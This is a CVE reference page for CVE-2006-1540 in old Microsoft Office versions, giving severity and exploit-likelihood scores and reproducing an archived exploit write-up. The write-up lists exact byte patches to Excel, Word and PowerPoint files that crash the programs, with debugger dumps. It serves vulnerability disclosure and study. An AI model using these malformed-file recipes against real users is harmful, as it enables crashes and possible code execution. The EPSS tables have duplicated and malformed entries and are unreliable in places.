CVE-2006-1540

CVE Descriptions

MSO.DLL in Microsoft Office 2000, Office XP (2002), and Office 2003 allows user-assisted attackers to cause a denial of service and execute arbitrary code via multiple attack vectors, as originally demonstrated using a crafted document record with a malformed string, as demonstrated by replacing a certain "01 00 00 00" byte sequence with an "FF FF FF FF" byte sequence, possibly causing an invalid array index, in (1) an Excel .xls document, which triggers an access violation in ole32.dll; (2) an Excel .xlw document, which triggers an access violation in excel.exe; (3) a Word document, which triggers an access violation in mso.dll in winword.exe; and (4) a PowerPoint document, which triggers an access violation in powerpnt.txt. NOTE: after the initial disclosure, this issue was demonstrated by triggering an integer overflow using an inconsistent size for a Unicode "Sheet Name" string.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-94	Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	9.3		AV:N/AC:M/Au:N/C:C/I:C/A:C	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	39.19%	–	–
2022-04-03	–	–	39.19%	–	–
2023-03-12	–	–	–	47.49%	–
2023-04-23	–	–	–	52.42%	–
2023-07-09	–	–	–	48.43%	–
2023-10-15	–	–	–	45.52%	–
2024-06-02	–	–	–	45.52%	–
2024-07-21	–	–	–	58.07%	–
2024-12-22	–	–	–	42.97%	–
2025-03-09	–	–	–	51.68%	–
2025-01-19	–	–	–	42.97%	–
2025-03-09	–	–	–	51.68%	–
2025-03-18	–	–	–	–	67.21%
2025-03-30	–	–	–	–	69.8%
2025-03-30	–	–	–	–	69.8,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	97%
2022-04-03	98%
2023-03-12	97%
2023-04-23	97%
2023-07-09	97%
2023-10-15	97%
2024-06-02	97%
2024-07-21	98%
2024-12-22	97%
2025-03-09	98%
2025-01-19	97%
2025-03-09	98%
2025-03-18	98%
2025-03-30	99%
2025-03-30	99%

Exploit information

Exploit Database EDB-ID : 1615

Publication date : 2006-03-26 22h00 +00:00
Author : posidron
EDB Verified : Yes

# Full archive at https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1615.rar (excel_03262006.rar) Topic : Microsoft Office 2002 - Excel/Powerpoint/Word.. 10.0.2614.0 => 11.0.5612.0 Date : 02/12/2006 Author : posidron <posidron@tripbit.net> Table of Contens ================ - Some Excel Information - The XLS File Format and Observation - The XLW File Format and Observation - Powerpoint and Word Dump Additions - Conclusion - References Some Excel Information ====================== - Microsoft Excel uses the BIFF (Binary Interchange File Format) - in Excel 8.0 (Excel 97), BIFF8 was introduced - in Excel 10.0 (Excel XP), BIFF8X was introduced - Excel 97 and Excel 2000 can read BIFF8X, except new features added with Excel XP. Since BIFF5, all data is saved in OLE2 Storage Format/Structured Storage, which can contain streams and storages. A BIFF record is builded as follows: Offset Size Contents 0 2 Identifier } 2 2 Size of the following data (sz) } Record header 4 sz Data The XLS File Format =================== If we open an Excel .xls workbook document with a hexeditor, we can see the below block of records, which exists multiple times within an Excel document. (Offsets are hexadecimal) orig.xls -------- Offset 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 00001200 FE FF 00 00 05 01 02 00 00 00 00 00 00 00 00 00 þÿ.............. 00001210 00 00 00 00 00 00 00 00 01 00 00 00 E0 85 9F F2 ............à..ò 00001220 F9 4F 68 10 AB 91 08 00 2B 27 B3 D9 30 00 00 00 ùOh.«...+'³Ù0... 00001230 B0 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 °...........@... 00001240 04 00 00 00 48 00 00 00 08 00 00 00 60 00 00 00 ....H.......`... If we change the second line from 00001210 00 00 00 00 00 00 00 00 01 00 00 00 E0 85 9F F2 ............à..ò to 00001210 00 00 00 00 00 00 00 00 FF FF FF FF E0 85 9F F2 ............à..ò we get an 'Access Violation' in OLE32.DLL after opening the dcument in Excel. (ole32.dll) 774D66B6 8B73 0C MOV ESI,DWORD PTR DS:[EBX+C] 774D66B9 8B4D 10 MOV ECX,DWORD PTR SS:[EBP+10] 774D66BC 8B7D 0C MOV EDI,DWORD PTR SS:[EBP+C] 774D66BF 03F0 ADD ESI,EAX 774D66C1 8BC1 MOV EAX,ECX 774D66C3 C1E9 02 SHR ECX,2 774D66C6 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] <== ECX=00000369 (decimal 873.) DS:[ESI]=[001B24F4]=00000000 ES:[EDI]=[00924000]=??? ESP ==> 0013786C 00923AE0 EBP-8 00137870 00923AE4 EBP-4 00137874 00923ADC EBP ==> 00137878 /001378AC EBP+4 0013787C |30C12D83 RETURN to mso.30C12D83 EBP+8 00137880 |001B32A8 EBP+C 00137884 |00923DC0 EBP+10 00137888 |00000FE4 EAX 00000FE4 ECX 00000369 EDX 00150608 EBX 001AE948 ESP 0013786C EBP 00137878 ESI 001B24F4 EDI 00924000 EIP 774D66C6 OLE32.774D66C6 We found this block of records two times in an empty Excel document. I haven't found an exact explanation about these records. It could be, that the record FFFE defines the sheet range. More in the OpenOffice reference link on site 100. The XLW File Format =================== If we open an Excel .xlw Workbook document with a hexeditor, we can see the below sequence of records, which exists multiple times within an Excel document. (Offsets are hexadecimal) orig.xlw -------- Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000110 38 00 04 00 01 00 10 00 3D 00 0A 00 68 01 87 00 8.......=...h... 00000120 8C 28 8D 18 04 00 3E 02 0A 00 B6 00 00 00 00 00 .(...>...¶..... 00000130 00 00 00 00 1D 00 0F 00 03 00 00 00 00 00 00 01 ................ 00000140 00 00 00 00 00 00 00 0D 00 02 00 01 00 0C 00 02 ................ 00000150 00 64 00 0F 00 02 00 01 00 11 00 02 00 00 00 10 .d.............. If we change the third and fourth line from 00000130 00 00 00 00 1D 00 0F 00 03 00 00 00 00 00 00 01 ................ 00000140 00 00 00 00 00 00 00 0D 00 02 00 01 00 0C 00 02 ................ to 00000130 00 00 00 00 1D 00 0F 00 03 00 00 00 00 00 00 FF ................ 00000140 FF FF FF 00 00 00 00 0D 00 02 00 01 00 0C 00 02 ................ we got an 'Access Violation' in excel.exe after opening the ducument in Excel. Examine dump at offset: 00000110+8 WINDOW1 | 04 Bytes | 3D 00 0A 00 WINDOW1 | 10 Bytes | 68 01 87 00 8C 28 8D 18 04 00 WINDOW1 | 04 Bytes | 3E 02 0A 00 WINDOW2 | 10 Bytes | B6 00 00 00 00 00 00 00 00 00 SELECTION | 04 Bytes | 1D 00 0F 00 SELECTION | 15 Bytes | 03 00 00 00 00 00 00 01 00 00 00 00 00 00 00 About the SELECTION record (00 1D): Offset Size Contents 0 1 Pane identifier 1 2 Index to row of the active cell 3 2 Index to column of the active cell 5 2 Index into the following cell range list to the entry that contains the active cell 7 variable Cell range address list containing all selected cell ranges. Column indexes are always 8-bit values. This record contains the addresses of all selected cell ranges and the position of the active cell for a pane in current sheet. It is part of the "Sheet View Settings Block". There is one SELECTION record for each pane in the sheet. excel.exe --------- 30028546 C2 0800 RETN 8 30028549 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 3002854D 8B15 484E7D30 MOV EDX,DWORD PTR DS:[307D4E48] 30028553 56 PUSH ESI 30028554 57 PUSH EDI 30028555 66:8B40 06 MOV AX,WORD PTR DS:[EAX+6] <== 30028559 8B7C24 10 MOV EDI,DWORD PTR SS:[ESP+10] 3002855D 25 FF0F0000 AND EAX,0FFF 30028562 8D0C40 LEA ECX,DWORD PTR DS:[EAX+EAX*2] 30028565 8B42 10 MOV EAX,DWORD PTR DS:[EDX+10] 30028568 8D34C8 LEA ESI,DWORD PTR DS:[EAX+ECX*8] 3002856B B9 05000000 MOV ECX,5 30028570 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 30028572 5F POP EDI 30028573 5E POP ESI 30028574 C2 0800 RETN 8 DS:[01642A72]=??? AX=2A6C EAX 01642A6C ECX 00000015 EDX 015C15DC EBX 00000001 ESP 00136964 EBP 00136B00 ESI 00007979 EDI 00000000 EIP 30028555 EXCEL.30028555 ESP ==> 00136964 00000000 ESP+4 00136968 00007979 ESP+8 0013696C 30027795 RETURN to EXCEL.30027795 from EXCEL.30028549 ESP+C 00136970 01642A6C ESP+10 00136974 001369A4 ESP+14 00136978 00000001 ESP+18 0013697C 00000000 ESP+1C 00136980 00000000 ESP+20 00136984 77D1BC7D USER32.GetWindow ESP+24 00136988 00AB0208 ESP+28 0013698C 00000000 ESP+2C 00136990 7FFDF000 ESP+30 00136994 00000058 ESP+34 00136998 00000053 ESP+38 0013699C 0000059B ESP+3C 001369A0 00000023 ESP+40 001369A4 001369CC ESP+44 001369A8 77D4F160 RETURN to USER32.77D4F160 from USER32.77D318A2 ESP+48 001369AC 00040000 ESP+4C 001369B0 00000000 ESP+50 001369B4 77EF7AB2 RETURN to GDI32.77EF7AB2 In the SELECTION record, it's regardless which offset address we overwrite to produce an exception. If we play with the values/offsets in the SELECTION record, we get many different results. Another example: SELECTION | 04 Bytes | 1D 00 0F 00 SELECTION | 15 Bytes | 03 00 00 00 00 00 00 FF FF FF FF FF FF 00 00 (mso.dll) 30B1BCEA 66:8955 00 MOV WORD PTR SS:[EBP],DX 30B1BCEE 66:8975 02 MOV WORD PTR SS:[EBP+2],SI 30B1BCF2 66:892F MOV WORD PTR DS:[EDI],BP 30B1BCF5 66:897428 FE MOV WORD PTR DS:[EAX+EBP-2],SI <== 30B1BCFA 8B4424 18 MOV EAX,DWORD PTR SS:[ESP+18] 30B1BCFE 5B POP EBX EAX 00006F24 ECX 00006000 EDX 00000DDC EBX 000007ED ESP 0013FCF4 EBP 015C0DE0 ESI 00006F24 EDI 015C0000 EIP 30B1BCF5 mso.30B1BCF5 SI=6F24 DS:[015C7D02]=??? ESP ==> 0013FCF4 00000000 ESP+4 0013FCF8 00000000 ESP+8 0013FCFC 30B1BBB0 mso.__MsoPvFree@8 For the completeness Powerpoint and Word which have the same structure as in the .xls file format. Microsoft Word -------------- Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00002400 FE FF 00 00 05 01 02 00 00 00 00 00 00 00 00 00 þÿ.............. 00002410 00 00 00 00 00 00 00 00 01 00 00 00 E0 85 9F F2 ............à..ò 00002420 F9 4F 68 10 AB 91 08 00 2B 27 B3 D9 30 00 00 00 ùOh.«...+'³Ù0... to Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00002400 FE FF 00 00 05 01 02 00 00 00 00 00 00 00 00 00 þÿ.............. 00002410 00 00 00 00 00 00 00 00 FF FF FF FF E0 85 9F F2 ............à..ò 00002420 F9 4F 68 10 AB 91 08 00 2B 27 B3 D9 30 00 00 00 ùOh.«...+'³Ù0... Results in an 'Access Violation'. AppName: winword.exe AppVer: 10.0.2627.0 ModName: mso.dll ModVer: 10.0.2625.0 Offset: 0001b411 Microsoft Powerpoint -------------------- Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00001A00 FE FF 00 00 05 01 02 00 00 00 00 00 00 00 00 00 þÿ.............. 00001A10 00 00 00 00 00 00 00 00 01 00 00 00 02 D5 CD D5 .............ÕÍÕ 00001A20 9C 2E 1B 10 93 97 08 00 2B 2C F9 AE 30 00 00 00 ........+,ù®0... to 00001A00 FE FF 00 00 05 01 02 00 00 00 00 00 00 00 00 00 þÿ.............. 00001A10 00 00 00 00 00 00 00 00 FF FF FF FF 02 D5 CD D5 .............ÕÍÕ 00001A20 9C 2E 1B 10 93 97 08 00 2B 2C F9 AE 30 00 00 00 ........+,ù®0... Results in an 'Access Violation'. AppName: powerpnt.exe AppVer: 10.0.2623.0 ModName: mso.dll ModVer: 10.0.2625.0 Offset: 0011300d References ---------- Excel File Format Structure (http://sc.openoffice.org/excelfileformat.pdf) # milw0rm.com [2006-03-27]